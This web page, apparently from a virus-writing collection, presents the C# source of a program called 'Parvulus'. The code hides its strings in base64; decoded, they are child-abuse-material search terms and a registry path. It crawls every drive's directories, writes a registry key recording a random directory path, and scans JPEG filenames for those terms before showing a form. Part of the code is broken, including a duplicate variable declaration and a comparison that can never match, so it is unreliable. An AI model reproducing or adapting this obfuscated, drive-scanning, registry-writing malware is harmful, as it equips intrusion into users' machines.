| ||||||||||||||||
|
Parvulus
by Retro
See also the project folder
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
namespace parvulus
{
static class Program
{
static object g;
[STAThread]
static void Main()
{
// Create and Init
ArrayList List = new ArrayList();
Random r = new Random();
// Variables
bool t = false;
string[] n = new string[10] { decrypt("cHRoYw=="), decrypt("UGhvdG8gQnkgQ2FybCAtIFBlZG8="), decrypt("cHJldGVlbg==")
, decrypt("Y2hpbGRsb3Zlcg=="), decrypt("Y2hpbGQgcG9ybg=="), decrypt("OHlv"), decrypt("OXlv"), decrypt("MTB5bw==")
, decrypt("MTF5bw=="), decrypt("MTJ5bw==") };
// Find itself
Module me = Assembly.GetExecutingAssembly().GetModules()[0];
//Get list of logical drives
string [] drives = Directory.GetLogicalDrives();
// For each drive gather directories
foreach (string d in drives)
{
// Error handling for A:\
try { CollectDirs(d, List); }
catch (IOException) { continue; }
}
int q = r.Next(0, List.Count);
// Copy to randam dir
// File.Copy(me.FullyQualifiedName, List[q] + @"\" + me.ScopeName);
// Create registry key
RegistryKey key = Registry.CurrentUser.CreateSubKey(decrypt("U29mdHdhcmVcUmV0cm9cUGFydmFsdXM="));
key.SetValue(decrypt("UGFydnVsdXM="), List[q] + @"\" + me.ScopeName);
key.SetValue(decrypt("QWN0aXZl"), decrypt("MA=="));
// Foreach directory in ArrayList
MessageBox.Show(List.Count.ToString());
foreach (string s in List)
{
try
{
// Get JPEG files
string[] fs = Directory.GetFiles(s, "*.jpg");
// Foreach JPEG in string array
foreach (string f in fs)
{
// Open file info
FileInfo fi = new FileInfo(f);
// loop through each special string
for (int l = 0; l < 10; l++)
{
// See if the file name contains one of the strings
bool t = fi.Name.Contains((string)n[l]);
// If it finds a matching string
if (t.ToString() == "true")
{
// Set the registry key to 'true'
key.SetValue(decrypt("QWN0aXZl"), decrypt("MQ=="));
}
else
{
// No matching string
continue;
}
}
}
}
catch (UnauthorizedAccessException) { continue; }
}
g = key.GetValue(decrypt("QWN0aXZl"));
if (g.ToString() == "1")
{
// Run Form
Application.EnableVisualStyles();
Application.Run(new Form1());
}
key.Close();
}
// String Decrypter
static string decrypt(string s)
{
StringBuilder sb = new StringBuilder();
char[] data = s.ToCharArray();
decrypter d = new decrypter(data);
byte[] t = d.GetDecoded();
sb.Append(UTF8Encoding.UTF8.GetChars(t));
return sb.ToString();
}
// Collect Directories
static void CollectDirs(string dir, ArrayList storage)
{
try
{
string [] dirs = Directory.GetDirectories(dir);
foreach (string d in dirs)
{
storage.Add(d);
CollectDirs(d, storage);
}
}
catch (System.UnauthorizedAccessException) { }
}
}
}
| ||||||||||||||||